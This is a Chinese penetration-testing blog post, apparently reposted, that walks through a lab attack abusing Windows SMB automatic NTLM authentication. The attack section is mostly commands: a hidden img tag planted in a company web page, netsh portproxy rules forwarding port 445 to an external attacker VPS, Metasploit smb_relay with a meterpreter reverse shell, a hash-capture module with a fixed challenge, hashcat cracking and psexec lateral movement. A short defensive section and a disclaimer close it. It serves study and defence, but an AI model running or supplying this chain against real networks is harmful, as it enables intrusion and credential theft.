文章总结: 本文复现了利用WindowsSMB自动认证机制进行内网渗透的两种路径。通过网页植入恶意标签触发认证,结合端口转发将流量引至外网。攻击者利用SMB中继获取权限,或捕获哈希配合彩虹表破解后横向移动。文章详细演示了Metasploit攻击链,并提出了淘汰旧系统、禁用NTLM及网络隔离等防护建议。 综合评分: 91 文章分类: 内网渗透,渗透测试,红队
SMB自动认证机制的两种攻击路径复现
原创
查鲁特
边界骇客
2025年12月30日 16:51 重庆
前言:重新梳理一下之前文章,这篇文章是deepseek基于我之前写的文章优化后并人工校核的版本。
在Windows环境中,当用户访问某些共享网络资源时,系统可能会自动尝试使用当前用户的NTLM哈希进行身份认证。这一机制,尤其是与旧版Internet Explorer结合时,可能成为内网渗透的突破口。本文将通过两个连贯的实验场景,复现如何利用该机制,结合端口转发,实现从外网到内网的攻击穿透。
⚠️ 核心前提:
攻击成功依赖于两个条件:1.目标用户使用 支持自动认证的旧版IE浏览器2.其系统版本(如Windows 7/XP)未禁用该行为
1.1 实验目的
- 理解Windows SMB协议自动认证机制的安全风险。
- 掌握通过端口转发将内网漏洞“暴露”至外网进行利用的方法。
- 熟悉从凭证中继到哈希破解的完整横向移动链条。
1.2 实验原理
- 漏洞触发点:旧版IE浏览器会将特定HTML标签(如
<img src=//HOST>)解析为网络资源请求,并自动使用当前用户凭据尝试进行SMB认证。 - 攻击链条:
诱导访问 → 触发认证 → 流量转发 → 外网利用(中继/捕获)→ 横向移动。
1.3 实验环境及拓扑图
1. SMB服务器 (Windows 7): 192.168.0.100 (存储关键证据) 2. 公司Web服务器 (Windows 7): 192.168.0.2 (攻击跳板/诱饵) 3. 攻击者VPS (Kali): 114.23.22.1 (黑客外网攻击机)4. 员工Alice的PC (Windows XP): 192.168.0.3 (横向移动目标)
实验一:SMB中继攻击(窃取服务器权限)
📌 阶段A:前端诱饵设置
- 任务:在Web服务器(
192.168.0.2)的官网首页植入触发代码。 - 操作:在打卡页面HTML中插入:
<img src=//192.168.0.2 hidden="hidden">
📌 阶段B:中间跳板配置
# 以管理员身份打开CMD# 1. 通过注册表禁用SMBreg add "HKLM\SYSTEM\CurrentControlSet\services\NetBT\Parameters" /v SMBDeviceEnabled /t REG_DWORD /d 0 /f
# 2. 停止并禁用Server服务sc stop LanmanServersc config LanmanServer start= disabled
# 3. 创建端口转发规则(将本地445转发至VPS的8080)netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=445 connectaddress=114.23.22.1 connectport=8080
# 4. 验证规则netsh interface portproxy show all
注意事项:重启后转发规则可能失效,需考虑持久化方法。
📌 阶段C:外网中继攻击
- 在VPS上配置中继模块,等待认证并攻击SMB服务器。
- Metasploit 配置流程:
msf6 > use exploit/windows/smb/smb_relaymsf6 exploit(smb_relay) > set SMBHOST 192.168.0.100msf6 exploit(smb_relay) > set SRVHOST 0.0.0.0msf6 exploit(smb_relay) > set SRVPORT 8080msf6 exploit(smb_relay) > set PAYLOAD windows/meterpreter/reverse_tcpmsf6 exploit(smb_relay) > set LHOST <您的VPS IP>msf6 exploit(smb_relay) > exploit -j
结果验证:成功获取到SMB服务器的Meterpreter会话,执行getuid确认权限。
实验二:以员工PC为目标的哈希捕获
📌 关键转折:攻击策略切换
- 原因:直接攻击Alice的XP系统(
192.168.0.3)失败(杀软拦截)。 - 新策略:捕获其哈希并破解,转为密码利用。
📌 阶段A:哈希捕获服务设置
- 模块切换:
msf6 > use auxiliary/server/capture/smbmsf6 auxiliary(smb_capture) > set SRVPORT 8080msf6 auxiliary(smb_capture) > set CHALLENGE 1122334455667788msf6 auxiliary(smb_capture) > exploit -j
-
技术要点:
CHALLENGE设置为固定值1122334455667788,是因为该值对应的彩虹表已被预先计算并公开,可将破解时间从数天缩短至数分钟。📌 阶段B:哈希破解与利用
hashcat -m 5500 'Administrator::FUCK1:6822b126...:a77b6fbd...:1122334455667788' /path/to/rainbow_table
-
哈希格式化:将从MSF捕获的哈希转换为Hashcat可识别的格式。
-
横向移动:
psexec.py 'Administrator:<密码>@192.168.0.3'
🛡️ 企业防护措施建议
- 终端加固:
- 强制淘汰Windows XP/7及IE浏览器。
- 组策略禁用NTLM,强制使用Kerberos或NTLMv2。
- 网络隔离:
- 严格划分网络区域,Web服务器不应与域控、文件服务器直连。
- 在防火墙上禁止从非必要区域向文件服务器发起SMB连接。
- 安全监控:
- 部署终端检测与响应(EDR)系统,监控
netsh portproxy等可疑命令。 - 集中分析认证日志,对同一账户短时间内在不同地点登录进行告警。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:边界骇客 查鲁特《SMB自动认证机制的两种攻击路径复现》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论